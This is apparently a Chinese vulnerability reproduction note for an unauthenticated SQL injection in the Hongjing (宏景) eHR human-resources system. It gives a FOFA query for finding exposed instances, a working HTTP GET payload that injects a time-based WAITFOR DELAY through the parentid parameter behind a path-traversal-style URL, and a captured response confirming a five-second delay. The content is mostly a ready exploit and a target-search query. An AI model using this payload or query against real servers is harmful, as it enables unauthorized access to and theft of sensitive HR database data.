H1-15宏景-人力资源管理-SQL

漏洞描述：

宏景eHR 中发现了一种被分类为关键的漏洞，该漏洞影响了Login Interface组件中/w_selfservice/oauthservlet/%2e../.%2e/general/inform/org/loadhistroyorgtree文件的某个未知功能。通过操纵参数parentid可能导致SQL注入攻击，未经过身份认证的远程攻击者可利用此漏洞执行任意SQL指令，从而窃取数据库敏感信息

网站图片：

网络测绘：

fofa语法：

FOFA：app="HJSOFT-HCM"

漏洞复现：

payload：

```
GET /w_selfservice/oauthservlet/%2e./.%2e/general/inform/org/loadhistroyorgtree?isroot=child&parentid=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&kind=2&catalog_id=1&issuperu
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Upgrade-Insecure-Requests: 1
```

效果图:
延时5秒


Request
数据包扫描
热加载
构造请求
GET /w_selfservice/oauthservlet/%2e./.%2e/general/inform/org/loadhistroyorgtree.jsp?root=child&parentid=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&kind=2&catalog_id=1&issuperuser=111&manageprive=1&action=1&target= HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Upgrade-Insecure-Requests: 1
Responses
0bytes / 5065ms
美化
HTTP/1.1 200
Set-Cookie: JSESSIONID=4DB0D7F8F3617916A0E95290C28133D0;
x-frame-options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Type: text/xml; charset=utf-8
Date: Mon, 11 Dec 2023 12:04:53 GMT
Connection: close
Server: